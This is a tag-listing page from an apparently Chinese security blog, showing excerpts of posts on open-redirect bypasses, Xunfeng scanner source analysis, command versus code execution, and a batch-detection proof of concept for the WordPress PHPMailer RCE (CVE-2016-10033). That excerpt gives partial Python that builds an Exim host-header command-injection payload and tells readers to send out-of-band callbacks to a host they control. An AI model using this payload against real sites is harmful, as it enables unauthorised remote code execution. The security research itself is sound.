"网络安全" 标签

URL跳转漏洞bypass小结

作者: LandGrey ●   创建时间: 2017年12月9日 21:28 ●   标签:   #渗透测试,   #网络安全,   #Web安全备忘录

下面是owasp对URL跳转漏洞,也叫开放重定向漏洞(open redirect)的一段描述:Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal ...

更多 →

巡风源码浅析之VulScan分析篇

作者: LandGrey ●   创建时间: 2017年12月8日 16:17 ●   标签:   #python,   #网络安全

巡风是一款适用于企业内网的漏洞快速应急、巡航扫描系统,通过搜索功能可清晰的了解内部网络资产分布情况,并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表。 开源地址: https://github.com/ysrc/xunfeng0x00: VulScan介绍查看介绍前,请先查看 巡风源码浅析之Nascan分析篇 的“0x01:分析准备”。VulScan部分的目录结构可抽象为:│ VulScan.py │ └─vuldb │ ***.py │ ***.json │ ├─nmb │ ***** ├─pyasn1 │ ***** └─smb └ *****其中主要的逻辑都在VulScan.py中,其它放置了几个外部模块nmb、pyasn1和smb;扫描插件有两种,放置在vuldb文件夹下,一是python脚本型插件,一是json文件型插件;本文主要分析VulScan.py文件并选取一个python脚本型插件、一个json文件型插件做简要说明,和Nascan相比,这部分代码少很多,逻辑也不复杂,所以会啰嗦一点,可能更适合新手学习。0x01: VulScan分析脚本开头执行了下面几行代码sys.path.append(sys.path[0] + '/vuldb')sys.path.append(sys.path[0] + "/../")from Config import ProductionConfig主要是将vuldb目录和上级目录加入系统路径中,可以直接 from Config import ProductionConfig 和导入python脚本型插件。然后进行了数据库连接和一些变量初始化工作。看一下程序入口:if __name__ == '__main__': # 插件初始化加载 init() # 将密码字典、运行线程数、超时时间、ip地址白名单从数据库中取出 PASSWORD_DIC, THREAD_COUNT, TIMEOUT, WHITE_LIST = get_config() ...

更多 →

巡风源码浅析之Nascan分析篇

作者: LandGrey ●   创建时间: 2017年11月18日 19:39 ●   标签:   #python,   #网络安全

巡风是一款适用于企业内网的漏洞快速应急、巡航扫描系统,通过搜索功能可清晰的了解内部网络资产分布情况,并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表。 开源地址: https://github.com/ysrc/xunfeng0x00: 起因 巡风算是国内开源扫描器中的一个良心产品了,研究下里面的扫描流程和代码逻辑对以后的工作想必大有裨益。 巡风的辅助验证脚本Aider 和我写的 dnstricker 的思路很相似,代码也不复杂,不做单独分析。巡风的项目一直在更新,所以可能在代码上会有些许出入。0x01: 分析准备巡风使用python语言开发,基于Flask Web框架和Mongodb数据库。我自己按照代码位置和代码逻辑,将巡风的架构大致分为三个部分,分别是Nascan、Vulscan和Flask web实现。分析篇也大概按照这三个部分介绍。首先是先搭建起巡风,正常扫描一次,然后进入数据库,了解数据库结构。Mongodb数据库的一个特点就是键值对表示。文档(document)组成集合(collection),集合(collection)再组成数据库(db),有时在文档和集合间可能还会有子集合。粗略的表示就是document -> sub collection -> collection -> db进入数据库查看,了解大体的集合情况:> show dbs admin 0.000GB local 0.000GB xunfeng 0.001GB > use xunfeng switched to db xunfeng > show collections Config # 各种配置信息 Heartbeat # 记录程序最新心跳时间 History # 删除历史目标的记录信息 Info # 存储目标ip,名字,banner,开放端口和服务类型等信息 Plugin ...

更多 →

WordPress PHPMailer RCE 批量检测poc

作者: LandGrey ●   创建时间: 2017年7月2日 16:34 ●   标签:   #渗透测试,   #python,   #网络安全

0x00. 漏洞详情WordPress PHPMailer RCE 准确的说法应该是 CVE-2016-10033:WordPress PHPMailer 4.6 - Host Header Command Injection参考: WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033漏洞复现与poc编写:vulhub/wordpress/phpmailer-rce0x01. 批量检测需要解决的关键点:1. 获得一个存在的用户名参考: WordPress用户名枚举的几种方法2. 批量检测的方法利用漏洞在目标主机上执行命令,带独立标志(域名或IP)请求某个我们控制的主机,查看控制主机记录,确定存在漏洞的主机;利用批量漏洞检测框架,并发批量测试。测试情况如图:三. POC将下面poc中的地址http://yoururl.ceye.io替换为自己控制的。#!/usr/bin/env python# coding:utf-8import reimport randomimport requestsdef generate_command(command): command = '${run{%s}}' % command command = command.replace('/', '${substr{0}{1}{$spool_directory}}') command = command.replace(':', '${substr{13}{1}{$tod_log}}') command = command.replace(' ', '${substr{10}{1}{$tod_log}}') return 'target(any -froot@localhost -be %s null)' % ...

更多 →

命令执行与代码执行的判断

作者: LandGrey ●   创建时间: 2017年5月18日 13:28 ●   标签:   #网络安全,   #思考

一. 判别理念 参考OWASP的 代码注入和命令注入,其中的相关解释: Code Injection differs from Command Injection in that an attacker is only limited by the functionality of the injected language itself. 可以用下面一句话判断是代码执行还是命令执行 执行效果是否受制于语言本身与其安全机制 代码执行: 1. 执行的效果完全受限于语言本身 只能执行当前语言的相关语法,不能达到执行系统命令的程度 2. 执行的效果不完全受限于语言本身 可执行当前语言的相关语法,可达到执行系统命令的程度,但可能受制于语言安全特性本身,得不到正常执行 命令执行: 1. 执行的效果不受限于语言语法本身,不受命令本身限制 不能执行当前语言的相关语法,仅能达到间接执行系统命令; 可执行当前代码语言的相关语法,可达到间接执行系统命令的程度,不会受制于语言安全特性本身。 二. 实例 1. Python反序列化漏洞 Python Pickle反序列化带来的安全问题有如下一段关于python pickle反序列化操作的示例代码: import osimport pickleclass A(object): ...

更多 →
<